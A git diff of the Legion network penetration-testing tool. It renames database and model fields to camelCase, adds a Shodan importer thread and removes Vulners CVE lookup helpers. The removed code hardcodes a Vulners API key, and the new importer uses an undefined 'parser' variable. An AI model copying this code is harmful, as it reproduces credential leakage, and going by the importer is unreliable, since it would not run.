# if the process has been killed don't change the status to "Finished" self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what @@ -561,7 +561,57 @@ def isCanceledProcess(self, procId): if not proc or str(proc[0][0]) == "Cancelled": return True return False - + +class ShodanImporter(QtCore.QThread): + tick = QtCore.pyqtSignal(int, name="changed") # New style signal + done = QtCore.pyqtSignal(name="done") # New style signal + schedule = QtCore.pyqtSignal(object, bool, name="schedule") # New style signal + log = QtCore.pyqtSignal(str, name="log") + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.output = '' + self.importProgressWidget = ProgressWidget('Importing shodan data..') + + def tsLog(self, msg): + self.log.emit(str(msg)) + + def setDB(self, db): + self.db = db + + def setFilename(self, filename): + self.filename = filename + + def setOutput(self, output): + self.output = output + + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + try: + session = self.db.session() + startTime = time() + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + + for h in parser.getAllHosts(): # create all the hosts that need to be created + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + + if not db_host: # if host doesn't exist in DB, create it first + hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, \ + lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) + self.tsLog("Adding db_host") + session.add(hid) + else: + self.tsLog("Found db_host already in db") + session.commit() + self.db.dbsemaphore.release() # we are done with the DB + self.tsLog('Finished in '+ str(time()-startTime) + ' seconds.') + self.done.emit() + self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) + + except Exception as e: + self.tsLog(e) + raise + self.done.emit() + class NmapImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal done = QtCore.pyqtSignal(name="done") # New style signal @@ -585,63 +635,12 @@ def setFilename(self, filename): def setOutput(self, output): self.output = output - def getCveFuzzy(self, searchPhrase): - import requests - VULNERS_LINKS = { - 'search':'https://vulners.com/api/v3/search/lucene/', - 'id':'https://vulners.com/api/v3/search/id/', - } - exploitExcludeList = ['nessus', 'openvas', 'seebug'] - searchParameters = { - 'size':500, - 'skip':0, - } - searchQuery = '("%s") AND cvelist:[* TO *] AND %s' % (searchPhrase, " AND ".join(["-type:%s" % type for type in exploitExcludeList]).strip()) - cveIdentificatorsSet = set() - bulkSearch = searchParameters - bulkSearch['query'] = searchQuery - bulletinSearch = searchParameters - print("Executing search with query: %s" % searchQuery) - findAllBulletins = requests.post(VULNERS_LINKS['search'], json=bulkSearch).json().get('data') - totalBulletins = findAllBulletins.get('total') - print("Total found bulletins: %s" % totalBulletins) - allBulletinIds = [bulletinEntry['_source']['id'] for bulletinEntry in findAllBulletins['search']] - for bulletinId in allBulletinIds: - bulletinSearch['id'] = bulletinId - searchResult = requests.post(VULNERS_LINKS['id'], json=bulletinSearch).json()['data']['documents'][bulletinId] - if not searchResult .get('cvelist'): - print("No CVE identificators for %s" % bulletinId) - else: - cveIdentificatorsSet = cveIdentificatorsSet.union(searchResult.get('cvelist')) - return list(cveIdentificatorsSet) - - def getCve(self, product, version): - import vulners - formattedResults = [] - try: - vulnersApi = vulners.Vulners(api_key="X02GUJ0BARMNBPTYCHK113SEAUOXTHMF6COCD8M7TCAIY2FHWX9OIROBBVNMQCF2") - queryResults = vulnersApi.softwareVulnerabilities(str(product), str(version)) - #exploitList = results.get('exploit') - vulnList = [queryResults.get(key) for key in queryResults if key not in ['info', 'blog', 'bugbounty']] - for vulnEntry in vulnList: - vulnEntry = vulnEntry[0] - cveList = vulnEntry['cvelist'] - cveUrl = vulnEntry['href'] - cveCvss = vulnEntry['cvss'] - cveTitle = vulnEntry[0]['title'] - cveType = vulnEntry[0]['type'] - formattedResult = {'cveList': cveList, 'cveUrl': cveUrl, 'cveTitle': cveTitle} - formattedResults.append(formattedResult) - except: - print("Vulners query issue") - return formattedResults - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: self.importProgressWidget.show() session = self.db.session() self.tsLog("Parsing nmap xml file: " + self.filename) - starttime = time() + startTime = time() try: parser = Parser(self.filename) @@ -652,11 +651,11 @@ def run(self): # it is nece return self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB - s = parser.get_session() # nmap session info + s = parser.getSession() # nmap session info if s: - n = nmap_session(self.filename, s.start_time, s.finish_time, s.nmap_version, s.scan_args, s.total_hosts, s.up_hosts, s.down_hosts) + n = nmapSessionObj(self.filename, s.startTime, s.finish_time, s.nmapVersion, s.scanArgs, s.totalHosts, s.upHosts, s.downHosts) session.add(n) - hostCount = len(parser.all_hosts()) + hostCount = len(parser.getAllHosts()) if hostCount==0: # to fix a division by zero if we ran nmap on one host hostCount=1 totalprogress = 0 @@ -668,11 +667,11 @@ def run(self): # it is nece createOsNodesProgress = 0 createPortsProgress = 0 - for h in parser.all_hosts(): # create all the hosts that need to be created + for h in parser.getAllHosts(): # create all the hosts that need to be created db_host = session.query(hostObj).filter_by(ip=h.ip).first() if not db_host: # if host doesn't exist in DB, create it first - hid = hostObj(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) + hid = hostObj(osMatch='', osAccuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) self.tsLog("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') @@ -687,7 +686,7 @@ def run(self): # it is nece session.commit() - for h in parser.all_hosts(): # create all OS, service and port objects that need to be created + for h in parser.getAllHosts(): # create all OS, service and port objects that need to be created self.tsLog("Processing h {ip}".format(ip=h.ip)) db_host = session.query(hostObj).filter_by(ip=h.ip).first() @@ -696,14 +695,14 @@ def run(self): # it is nece else: self.log("Did not find db_host during os/ports/service processing") - os_nodes = h.get_OS() # parse and store all the OS nodes + os_nodes = h.getOs() # parse and store all the OS nodes self.tsLog(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: self.tsLog(" Processing os obj {os}".format(os=str(os.name))) - db_os = session.query(osObj).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by(vendor=os.vendor).first() if not db_os: - t_osObj = osObj(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) + t_osObj = osObj(os.name, os.family, os.generation, os.osType, os.vendor, os.accuracy, db_host.id) session.add(t_osObj) createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) @@ -717,7 +716,7 @@ def run(self): # it is nece self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports self.tsLog(" Processing port obj {port}".format(port=str(p.portId))) - s = p.get_service() + s = p.getService() if not (s is None): # check if service already exists to avoid adding duplicates #print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) @@ -733,7 +732,7 @@ def run(self): # it is nece else: # else, there is no service info to parse db_service = None # fetch the port - db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() if not db_port: #print("Did not find port *********** portid={0} proto={1}".format(p.portId, p.protocol)) @@ -743,7 +742,7 @@ def run(self): # it is nece db_port = portObj(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) #else: - #print('FOUND port *************** portid={0}'.format(db_port.port_id)) + #print('FOUND port *************** portid={0}'.format(db_port.portId)) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress self.importProgressWidget.setProgress(totalprogress) @@ -754,35 +753,30 @@ def run(self): # it is nece #totalprogress += progress #self.tick.emit(int(totalprogress)) - for h in parser.all_hosts(): # create all script objects that need to be created - + for h in parser.getAllHosts(): # create all script objects that need to be created db_host = session.query(hostObj).filter_by(ip=h.ip).first() for p in h.all_ports(): - for scr in p.get_scripts(): + for scr in p.getScripts(): self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) print(" Processing script obj {scr}".format(scr=str(scr))) - db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() - db_script = session.query(l1ScriptObj).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() - cveResults = scr.get_cves() - for cveEntry in cveResults: - t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = db_host.id) - session.add(t_cve) + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by(portId=db_port.id).first() if not db_script: # if this script object doesn't exist, create it t_l1ScriptObj = l1ScriptObj(scr.scriptId, scr.output, db_port.id, db_host.id) self.tsLog(" Adding l1ScriptObj obj {script}".format(script=scr.scriptId)) session.add(t_l1ScriptObj) - for hs in h.get_hostscripts(): - db_script = session.query(l1ScriptObj).filter_by(script_id=hs.scriptId).filter_by(host_id=db_host.id).first() + for hs in h.getHostScripts(): + db_script = session.query(l1ScriptObj).filter_by(scriptId=hs.scriptId).filter_by(hostId=db_host.id).first() if not db_script: t_l1ScriptObj = l1ScriptObj(hs.scriptId, hs.output, None, db_host.id) session.add(t_l1ScriptObj) session.commit() - for h in parser.all_hosts(): # update everything + for h in parser.getAllHosts(): # update everything db_host = session.query(hostObj).filter_by(ip=h.ip).first() @@ -814,11 +808,11 @@ def run(self): # it is nece tmp_name = '' tmp_accuracy = '0' # TODO: check if better to convert to int for comparison - os_nodes = h.get_OS() + os_nodes = h.getOs() for os in os_nodes: - db_os = session.query(osObj).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() + db_os = session.query(osObj).filter_by(hostId=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(osType=os.osType).filter_by(vendor=os.vendor).first() - db_os.os_accuracy = os.accuracy # update the accuracy + db_os.osAccuracy = os.accuracy # update the accuracy if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access if os.accuracy > tmp_accuracy: @@ -828,20 +822,34 @@ def run(self): # it is nece if os_nodes: # if there was operating system info to parse if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match - db_host.os_match = tmp_name - db_host.os_accuracy = tmp_accuracy + db_host.osMatch = tmp_name + db_host.osAccuracy = tmp_accuracy session.add(db_host) + + for scr in h.getHostScripts(): + print("-----------------------Host SCR: {0}".format(scr.scriptId)) + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + scrProcessorResults = scr.scriptSelector(db_host) + for scrProcessorResult in scrProcessorResults: + session.add(scrProcessorResult) + + for scr in h.getScripts(): + print("-----------------------SCR: {0}".format(scr.scriptId)) + db_host = session.query(hostObj).filter_by(ip=h.ip).first() + scrProcessorResults = scr.scriptSelector(db_host) + for scrProcessorResult in scrProcessorResults: + session.add(scrProcessorResult) for p in h.all_ports(): - s = p.get_service() + s = p.getService() if not (s is None): #db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() db_service = session.query(serviceObj).filter_by(name=s.name).first() else: db_service = None # fetch the port - db_port = session.query(portObj).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() + db_port = session.query(portObj).filter_by(hostId=db_host.id).filter_by(portId=p.portId).filter_by(protocol=p.protocol).first() if db_port: #print("************************ Found {0}".format(db_port)) @@ -849,12 +857,12 @@ def run(self): # it is nece db_port.state = p.state session.add(db_port) - if not (db_service is None) and db_port.service_id != db_service.id: # if there is some new service information, update it - db_port.service_id = db_service.id + if not (db_service is None) and db_port.serviceId != db_service.id: # if there is some new service information, update it + db_port.serviceId = db_service.id session.add(db_port) - for scr in p.get_scripts(): # store the script results (note that existing script outputs are also kept) - db_script = session.query(l1ScriptObj).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + for scr in p.getScripts(): # store the script results (note that existing script outputs are also kept) + db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by(portId=db_port.id).first() if not scr.output == '' and scr.output is not None: db_script.output = scr.output @@ -867,7 +875,7 @@ def run(self): # it is nece session.commit() self.db.dbsemaphore.release() # we are done with the DB - self.tsLog('Finished in '+ str(time()-starttime) + ' seconds.') + self.tsLog('Finished in '+ str(time()-startTime) + ' seconds.') self.done.emit() self.importProgressWidget.hide() self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) diff --git a/app/processmodels.py b/app/processmodels.py index 12346e80..905ef57f 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -52,7 +52,7 @@ def data(self, index, role): # this metho value = '' row = index.row() column = index.column() - processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} + processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedRemaining', 4:'pid', 5:'name', 6:'tabTitle', 7:'hostIp', 8:'port', 9:'protocol', 10:'command', 11:'startTime', 12:'endTime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} try: if column == 0: value = '' @@ -67,11 +67,11 @@ def data(self, index, role): # this metho else: pid = int(self.__processes[row]['pid']) elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) - estimatedRemaining = int(self.__processes[row]['estimatedremaining']) - float(elapsed) + estimatedRemaining = int(self.__processes[row]['estimatedRemaining']) - float(elapsed) value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' elif column == 6: - if not self.__processes[row]['tabtitle'] == '': - value = self.__processes[row]['tabtitle'] + if not self.__processes[row]['tabTitle'] == '': + value = self.__processes[row]['tabTitle'] else: value = self.__processes[row]['name'] elif column == 8: @@ -96,13 +96,13 @@ def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array=[] - sortColumns = {5:'name', 6:'tabtitle', 11:'starttime', 12:'endtime'} + sortColumns = {5:'name', 6:'tabTitle', 11:'startTime', 12:'endTime'} field = sortColumns.get(int(Ncol)) or 'status' try: if Ncol == 7: for i in range(len(self.__processes)): - array.append(IP2Int(self.__processes[i]['hostip'])) + array.append(IP2Int(self.__processes[i]['hostIp'])) elif Ncol == 8: for i in range(len(self.__processes)): @@ -180,7 +180,7 @@ def getRowForDBId(self, dbid): # new return i def getIpForRow(self, row): - return self.__processes[row]['hostip'] + return self.__processes[row]['hostIp'] def getPortForRow(self, row): return self.__processes[row]['port'] diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 457b87b8..9f5bbbd1 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -55,10 +55,10 @@ def data(self, index, role): # this metho if column == 0: value = self.__scripts[row]['id'] elif column == 1: - value = self.__scripts[row]['script_id'] + value = self.__scripts[row]['scriptId'] elif column == 2: - if self.__scripts[row]['port_id'] and self.__scripts[row]['protocol'] and not self.__scripts[row]['port_id'] == '' and not self.__scripts[row]['protocol'] == '': - value = self.__scripts[row]['port_id'] + '/' + self.__scripts[row]['protocol'] + if self.__scripts[row]['portId'] and self.__scripts[row]['protocol'] and not self.__scripts[row]['portId'] == '' and not self.__scripts[row]['protocol'] == '': + value = self.__scripts[row]['portId'] + '/' + self.__scripts[row]['protocol'] else: value = '' elif column == 3: @@ -72,10 +72,10 @@ def sort(self, Ncol, order): if Ncol == 1: for i in range(len(self.__scripts)): - array.append(self.__scripts[i]['script_id']) + array.append(self.__scripts[i]['scriptId']) if Ncol == 2: for i in range(len(self.__scripts)): - array.append(int(self.__scripts[i]['port_id'])) + array.append(int(self.__scripts[i]['portId'])) sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array diff --git a/app/servicemodels.py b/app/servicemodels.py index 5d9225d5..de680265 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -62,17 +62,17 @@ def data(self, index, role): # this metho if column == 0: value = ' ' + self.__services[row]['ip'] # the spaces are needed for spacing with the icon that precedes the text elif column == 1: - value = self.__services[row]['port_id'] + value = self.__services[row]['portId'] elif column == 2: - value = ' ' + self.__services[row]['port_id'] # the spaces are needed for spacing with the icon that precedes the text + value = ' ' + self.__services[row]['portId'] # the spaces are needed for spacing with the icon that precedes the text elif column == 3: value = self.__services[row]['protocol'] elif column == 4: value = self.__services[row]['state'] elif column == 5: - value = self.__services[row]['host_id'] + value = self.__services[row]['hostId'] elif column == 6: - value = self.__services[row]['service_id'] + value = self.__services[row]['serviceId'] elif column == 7: value = self.__services[row]['name'] elif column == 8: @@ -105,11 +105,11 @@ def sort(self, Ncol, order): # sort funct elif Ncol == 1: # if sorting by port for i in range(len(self.__services)): - array.append(int(self.__services[i]['port_id'])) + array.append(int(self.__services[i]['portId'])) elif Ncol == 2: # if sorting by port for i in range(len(self.__services)): - array.append(int(self.__services[i]['port_id'])) + array.append(int(self.__services[i]['portId'])) elif Ncol == 3: # if sorting by protocol for i in range(len(self.__services)): @@ -146,7 +146,7 @@ def sort(self, Ncol, order): # sort funct ### getter functions ### def getPortForRow(self, row): - return self.__services[row]['port_id'] + return self.__services[row]['portId'] def getServiceNameForRow(self, row): return self.__services[row]['name'] diff --git a/controller/controller.py b/controller/controller.py index 36e3e747..3ba0e689 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -27,14 +27,14 @@ class Controller(): @timing def __init__(self, view, logic): self.name = "LEGION" - self.version = '0.3.4' - self.build = '1557101410' + self.version = '0.3.5' + self.build = '1557145534' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '05/05/2019' + self.update = '05/06/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." @@ -49,6 +49,7 @@ def __init__(self, view, logic): self.loadSettings() # creation of context menu actions from settings file and set up of various settings self.initNmapImporter() + self.initShodanImporter() self.initScreenshooter() self.initBrowserOpener() self.start() # initialisations (globals, etc) @@ -63,14 +64,21 @@ def start(self, title='*untitled'): self.fastProcessesRunning = 0 # counts the number of fast processes currently running self.slowProcessesRunning = 0 # counts the number of slow processes currently running self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + self.shodanImporter.setDB(self.logic.db) self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) def initNmapImporter(self): self.nmapImporter = NmapImporter() - self.nmapImporter.done.connect(self.nmapImportFinished) + self.nmapImporter.done.connect(self.importFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) + + def initShodanImporter(self): + self.shodanImporter = ShodanImporter() + self.shodanImporter.done.connect(self.importFinished) + self.shodanImporter.schedule.connect(self.scheduler) # run automated attacks + self.shodanImporter.log.connect(self.view.ui.LogOutputTextView.append) def initScreenshooter(self): self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) @@ -321,8 +329,8 @@ def handleHostAction(self, ip, hostid, actions, action): if self.logic.getPortsForHostFromDB(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, proto) - tabtitle = self.settings.hostActions[i][1] - self.runCommand(name, tabtitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, invisibleTab)) + tabTitle = self.settings.hostActions[i][1] + self.runCommand(name, tabTitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, invisibleTab)) break @timing @@ -369,7 +377,7 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): srvc_num = actions[i][0] for ip in targets: tool = self.settings.portActions[srvc_num][1] - tabtitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" + tabTitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool))+"/"+getTimestamp()+'-'+tool+"-"+ip[0]+"-"+ip[1] command = str(self.settings.portActions[srvc_num][2]) @@ -378,10 +386,10 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): if 'nmap' in command and ip[2] == 'udp': command=command.replace("-sV","-sVU") - if 'nmap' in tabtitle: # we don't want to show nmap tabs + if 'nmap' in tabTitle: # we don't want to show nmap tabs restoring = True - self.runCommand(tool, tabtitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabtitle, restoring)) + self.runCommand(tool, tabTitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabTitle, restoring)) break @timing @@ -583,19 +591,19 @@ def handleProcUpdate(*vargs): self.processMeasurements[qProcess.pid()] = procTime name = args[0] - tabtitle = args[1] - hostip = args[2] + tabTitle = args[1] + hostIp = args[2] port = args[3] protocol = args[4] command = args[5] - starttime = args[6] + startTime = args[6] outputfile = args[7] textbox = args[8] timer = QtCore.QTime() updateElapsed = QTimer() self.logic.createFolderForTool(name) - qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + qProcess = MyQProcess(name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox) qProcess.started.connect(timer.start) qProcess.finished.connect(handleProcStop) updateElapsed.timeout.connect(handleProcUpdate) @@ -624,21 +632,21 @@ def handleProcUpdate(*vargs): if stage > 0 and stage < 6: # if this is a staged nmap, launch the next stage log.info("runCommand connected for stage {0}".format(str(stage))) nextStage = stage + 1 - qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) + qProcess.finished.connect(lambda: self.runStagedNmap(str(hostIp), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) return qProcess.pid() # return the pid so that we can kill the process if needed def runPython(self): textbox = self.view.createNewConsole("python") name = 'python' - tabtitle = name - hostip = '127.0.0.1' + tabTitle = name + hostIp = '127.0.0.1' port = '22' protocol = 'tcp' command = 'python3 /mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/test.py' - starttime = getTimestamp(True) + startTime = getTimestamp(True) outputfile = '/tmp/a' - qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + qProcess = MyQProcess(name, tabTitle, hostIp, port, protocol, command, startTime, outputfile, textbox) textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) @@ -698,7 +706,7 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): self.runCommand('nmap','nmap (stage '+str(stage)+')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) - def nmapImportFinished(self): + def importFinished(self): self.updateUI2Timer.stop() self.updateUI2Timer.start(800) self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) @@ -771,10 +779,10 @@ def scheduler(self, parser, isNmapImport): if self.settings.general_enable_scheduler == 'True': log.info('Scheduler started!') - for h in parser.all_hosts(): + for h in parser.getAllHosts(): for p in h.all_ports(): if p.state == 'open': - s = p.get_service() + s = p.getService() if not (s is None): self.runToolsFor(s.name, h.ip, p.portId, p.protocol) @@ -798,16 +806,16 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): for a in self.settings.portActions: if tool[0] == a[1]: restoring = False - tabtitle = a[1]+" ("+port+"/"+protocol+")" + tabTitle = a[1]+" ("+port+"/"+protocol+")" outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port command = str(a[2]) command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) log.debug("Running tool command " + str(command)) - if 'nmap' in tabtitle: # we don't want to show nmap tabs + if 'nmap' in tabTitle: # we don't want to show nmap tabs restoring = True tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) - self.runCommand(tool[0], tabtitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, not (tab == 'Hosts'))) + self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) break diff --git a/db/database.py b/db/database.py index cf6435c5..08e7b438 100644 --- a/db/database.py +++ b/db/database.py @@ -35,14 +35,14 @@ class process(Base): id = Column(Integer, primary_key = True) display = Column(String) name = Column(String) - tabtitle = Column(String) - hostip = Column(String) + tabTitle = Column(String) + hostIp = Column(String) port = Column(String) protocol = Column(String) command = Column(String) - starttime = Column(String) - endtime = Column(String) - estimatedremaining = Column(Integer) + startTime = Column(String) + endTime = Column(String) + estimatedRemaining = Column(Integer) elapsed = Column(Integer) outputfile = Column(String) output = relationship("process_output") @@ -53,41 +53,41 @@ def __init__(self, pid, *args): self.display = 'True' self.pid = pid self.name = args[0] - self.tabtitle = args[1] - self.hostip = args[2] + self.tabTitle = args[1] + self.hostIp = args[2] self.port = args[3] self.protocol = args[4] self.command = args[5] - self.starttime = args[6] - self.endtime = args[7] + self.startTime = args[6] + self.endTime = args[7] self.outputfile = args[8] self.output = args[10] self.status = args[9] self.closed = 'False' - self.estimatedremaining = args[11] + self.estimatedRemaining = args[11] self.elapsed = args[12] # This class holds various info about an nmap scan -class nmap_session(Base): - __tablename__ = 'nmap_session' +class nmapSessionObj(Base): + __tablename__ = 'nmapSessionObj' filename = Column(String, primary_key = True) - start_time = Column(String) + startTime = Column(String) finish_time = Column(String) - nmap_version = Column(String) - scan_args = Column(String) - total_hosts = Column(String) - up_hosts = Column(String) - down_hosts = Column(String) + nmapVersion = Column(String) + scanArgs = Column(String) + totalHosts = Column(String) + upHosts = Column(String) + downHosts = Column(String) def __init__(self, filename, *args, **kwargs): self.filename = filename - self.start_time = args[0] + self.startTime = args[0] self.finish_time = args[1] - self.nmap_version = kwargs.get('nmap_version') or 'unknown' - self.scan_args = kwargs.get('scan_args') or '' - self.total_hosts = kwargs.get('total_host') or '0' - self.up_hosts = kwargs.get('up_hosts') or '0' - self.down_hosts = kwargs.get('down_hosts') or '0' + self.nmapVersion = kwargs.get('nmapVersion') or 'unknown' + self.scanArgs = kwargs.get('scanArgs') or '' + self.totalHosts = kwargs.get('total_host') or '0' + self.upHosts = kwargs.get('upHosts') or '0' + self.downHosts = kwargs.get('downHosts') or '0' class osObj(Base): @@ -96,36 +96,36 @@ class osObj(Base): name = Column(String) family = Column(String) generation = Column(String) - os_type = Column(String) + osType = Column(String) vendor = Column(String) accuracy = Column(String) - host_id = Column(String, ForeignKey('hostObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) def __init__(self, name, *args): self.name = name self.family = args[0] self.generation = args[1] - self.os_type = args[2] + self.osType = args[2] self.vendor = args[3] self.accuracy = args[4] - self.host_id = args[5] + self.hostId = args[5] class portObj(Base): __tablename__ = 'portObj' - port_id = Column(String) + portId = Column(String) id = Column(Integer, primary_key = True) protocol = Column(String) state = Column(String) - host_id = Column(String, ForeignKey('hostObj.id')) - service_id = Column(String, ForeignKey('serviceObj.id')) - script_id = Column(String, ForeignKey('l1ScriptObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) + serviceId = Column(String, ForeignKey('serviceObj.id')) + scriptId = Column(String, ForeignKey('l1ScriptObj.id')) - def __init__(self, port_id, protocol, state, host, service = ''): - self.port_id = port_id + def __init__(self, portId, protocol, state, host, service = ''): + self.portId = portId self.protocol = protocol self.state = state - self.service_id = service - self.host_id = host + self.serviceId = service + self.hostId = host class cve(Base): __tablename__ = 'cve' @@ -136,23 +136,23 @@ class cve(Base): severity = Column(String) source = Column(String) version = Column(String) - edbid = Column(Integer) + exploitId = Column(Integer) exploit = Column(String) exploitUrl = Column(String) - service_id = Column(String, ForeignKey('serviceObj.id')) - host_id = Column(String, ForeignKey('hostObj.id')) + serviceId = Column(String, ForeignKey('serviceObj.id')) + hostId = Column(String, ForeignKey('hostObj.id')) - def __init__(self, name, url, product, hostId, severity = '', source = '', version = ''): + def __init__(self, name, url, product, hostId, severity = '', source = '', version = '', exploitId = 0, exploit = '', exploitUrl = ''): self.url = url self.name = name self.product = product self.severity = severity self.source = source self.version = version - self.edbid = 0 - self.exploit = '' - self.exploitUrl = '' - self.host_id = hostId + self.exploitId = exploitId + self.exploit = exploit + self.exploitUrl = exploitUrl + 